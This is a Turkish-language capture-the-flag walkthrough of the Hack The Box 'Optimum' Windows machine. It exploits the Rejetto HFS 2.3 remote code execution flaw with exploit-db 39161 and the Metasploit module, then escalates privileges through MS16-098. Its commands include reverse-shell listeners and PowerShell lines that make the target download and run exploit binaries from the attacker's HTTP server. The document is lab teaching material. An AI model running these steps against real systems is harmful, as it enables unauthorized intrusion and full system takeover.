Optimum sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.
- IP Adresi: 10.10.10.8
- İşletim Sistemi: Windows
A) Port Tarama
Tüm portlar için tarama yapıldığında 1 adet portun açık olduğu tespit edilmiştir.
nmap -p- –open -vvv -oN fullportscan 10.10.10.8
Açık port aşağıdaki gibidir:
- 80/tcp
Ardından açık olduğu tespit edilen port üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.
nmap -p 80 -vvv -sV -sC -oN versionscan 10.10.10.8
Not: Bu aşamada ek olarak UDP taraması da gerçekleştirilmiştir ancak herhangi bir açık port tespit edilememiştir.
nmap -sU -O -p- -oA nmap/udp 10.10.10.8
B) HTTP Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\80 portunda HTTP (HttpFileServer 2.3 uygulaması) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız sayfa aşağıdaki gibidir.
Sayfa ve sayfaya ait kaynak kod incelendiğinde “Rejetto” ya ait olduğu ve diğer adıyla HFS, dosyaları yayınlamak ve paylaşmak için özel olarak tasarlanmış ücretsiz bir web sunucusu olduğu tespit edilmiştir.
Http File Server ile ilgili detaylı bilgi için kaynaklardaki Wikipedia sayfası incelenebilir.
C) Zafiyetin Keşfi
Ardından aşağıda ekran görüntüsünde verildiği şekilde söz konusu dosya paylaşım yazılımının ilgili versiyonuna ait Google üzerinden istismar araştırması gerçekleştirilmiştir.
site:exploit-db.com “HFS 2.3”
Gerçekleştirilen araştırmada söz konusu dosya paylaşım yazılımı üzerinde hedef sistemde uzaktan kod çalıştırmamızı sağlayacak exploitler bulunduğu tespit gözlemlenmiştir. Yukarıda ekran görüntüsünde verilmiş ilk istismara ait bağlantıya gidilerek kod incelenmiştir.
https://www.exploit-db.com/exploits/39161
İstismar kodunu açarak incelediğimizde kullanımı ve dikkat edilmesi gereken noktanın olarak not düşüldüğü gözlemlenmiş ve bunlar aşağıdaki ekran görüntüsünde işaretli olarak verilmiştir.
Ardından ilgili istismar kodu aşağıdaki komut ile saldırgan sisteme indirilmiştir.
wget https://www.exploit-db.com/raw/39161
Exploit kodunu çalıştırabilmek için ilk olarak ilgili exploit kodu içerisinde aşağıda ekran görüntüsünde belirtilen değerler (ip_addr, local_port) düzenlenmiştir.
Ardından ilgili istismar kodunu çalıştırmak için öncelikle yukarıdaki ekran görüntüsünde işaretlenilen notta belirtildiği üzere; saldırgan sistem üzerinde yürütülebilir bir “nc” dosyası barındıran dizinde HTTP sunucu başlatılması gerekmektedir. Bu amaçla aşağıda verilen adımlar izlenerek bulunulan dizin altına “nc.exe” dosyası kopyalanmıştır.
locate nc.exe
cp /user/share/windows-binaries/nc.exe .
ls -l
D) Zafiyetin Manuel İstismarı
Bu aşamada “nc.exe” dosyasını kopyaladığımız dizin üzerinde python ile HTTP sunucu başlatılmış, hedef sistem dinlenmeye başlanmış ve exploit çalıştırılarak hedef sistem üzerinde oturum elde edilmiştir. Bu amaçla aşağıdaki adımlar takip edilebilir.
python -m SimpleHTTPServer 80
nc -lvp 9090
python 39161.py 10.10.10.8 80
Hedef sistem üzerinden oturum elde edilmesi ve “user.txt.txt” dosyasının içeriğinin okunmasına ait ekran görüntüsü aşağıda verilmiştir.
type user.txt.txt
E) Zafiyetin MSF rejetto_hfs_exec Modülü İle İstismarı
Rejetto HttpFileServer 2.3 üzerindeki uzaktan kod çalıştırma zafiyetinin istismarı için MSF rejetto_hfs_exec istismar modülü de kullanılabilir.
use exploit/windows/http/rejetto_hfs_exec
set RHOST 10.10.10.8
set LHOST 10.10.xx.xx
set SRVHOST 10.10.xx.xx
set LPORT xxxxx
run
Böylece uygulama kullanıcısı (kostas) yetkisi ile komut satırı erişimi elde edilmiş olur.
F) Yetki Yükseltme Zafiyetinin Tespiti
Yetki yüksetlme aşamasında hedef sistem üzerinde ilk olarak çalıştırdığımız komut “systeminfo” komutudur. İlgili komuta ait çıktı aşağıdaki ekran görüntüsünde verilmiştir.
systeminfo
Söz konusu komuta ait çıktıyı incelediğimizde hedef sistemin “Microsoft Windows Server 2012 R2” işletim sistemine ve “x64” sistem tipine sahip olduğu tespit edilmiştir. Ayrıca ilgili işletim sistemi üzerinde 31 adet yamanın geçilmiş olduğu da gözlemlenmektedir. Bu detay göz önünde bulundurularak geçilmemiş herhangi bir yamanın var olup olmadığını tespit etmek adına bu aşamada hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıkları incelenmiştir. Bunun için “Windows-Exploit-Suggester” aracı kullanılmıştır.
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
İlgili aracı aşağıdaki adımları takip ederek indirebilir ve bağımlılıkları kurulabilir.
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
pip install xlrd — upgrade
Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır.
./windows-exploit-suggester.py — update
Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir.
- database: Güncel yama listesi
- systeminfo: Hedef sisteme ait “systeminfo” çıktısı
İlgili parametreleri sağlayarak aşağıda detayları verildiği şekilde tarama gerçekleştirilir.
./windows-exploit-suggester.py –database 2020-03-29-mssb.xls –systeminfo sysinfo.txt
Not: Bu sanal makinede bulunan MS16-032 zafiyeti ile istismar işlemi için kaynaklardaki Siberportal yazısı incelenebilir.
F) MS16–098 Zafiyetinin İstismarı ile Yetki Yükseltme – I
Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu makalede bu açıklıklardan biri olan MS16–098 (RGNOBJ Integer Overflow) açıklığı istismar edilerek sistem üzerinde “NT Authority\SYSTEM” hakları elde edilecektir.
Söz konusu zafiyete ait istismar kodu Google üzerinden araştırıldığında aşağıda adresi verilen repoda derlenmiş halinin bulunduğu tespit edilmiştir.
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098
İlk olarak istismar edecek ilgili dosya, saldırgan sisteme indirilir.
wget https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-098/bfill.exe
Ardından öncelikli olarak python ile HTTP sunucu başlatılır ve powershell kullanarak hedef makineye “bfill.exe” dosyası yüklenir.
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.34:9080/bfill.exe’, ‘C:\Users\kostas\Desktop\bfill.exe’)”
Hedef sistem üzerinden “bfill.exe” exploitinin çalıştırılarak “NT Authority\System” haklarında oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.
bfill.exe
whoami
Son olarak “root.txt” dosyasının tespitine ait ekran görüntüsü aşağıda verilmiştir.
dir C:\ /s/b | find /i “root.txt”
G) MS16–098 Zafiyetinin İstismarı ile Yetki Yükseltme – II
MS16–098 (RGNOBJ Integer Overflow) zafiyetinin tespiti için searchsploit aracı kullanılabilir.
searchsploit m16-098
Zafiyete ait çalıştırılabilir dosya Github‘daki Offensive Security hesabında da bulunmaktadır.
https://www.exploit-db.com/exploits/41020
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
41020.exe isimli bu dosya Kali makineye indirilir.
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
Python ile bir web servis başlatılır.
python -m SimpleHTTPServer 80
Uygulama kullanıcı (kostas) yetkisi ile erişim elde edilen kurban Windows makinenin komut satırından bu dosya indirilerek kaydedilir ve çalıştırılır.
powershell wget “http://10.10.14.xx/41020.exe” -outfile “exploit.exe”
exploit.exe
Kaynaklar:
https://pentestworld.blogspot.com/2020/04/hack-box-optimum.html
https://en.wikipedia.org/wiki/HTTP_File_Server
https://gist.github.com/berzerk0/78e6af81c33e3bd5988de2adf8529e4e
https://medium.com/@ranakhalil101/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/
https://www.siberportal.org/red-team/windows-operating-system-penetration-tests/local-privilege-escalation-by-exploiting-ms16-032-vulnerability-via-powershell-script/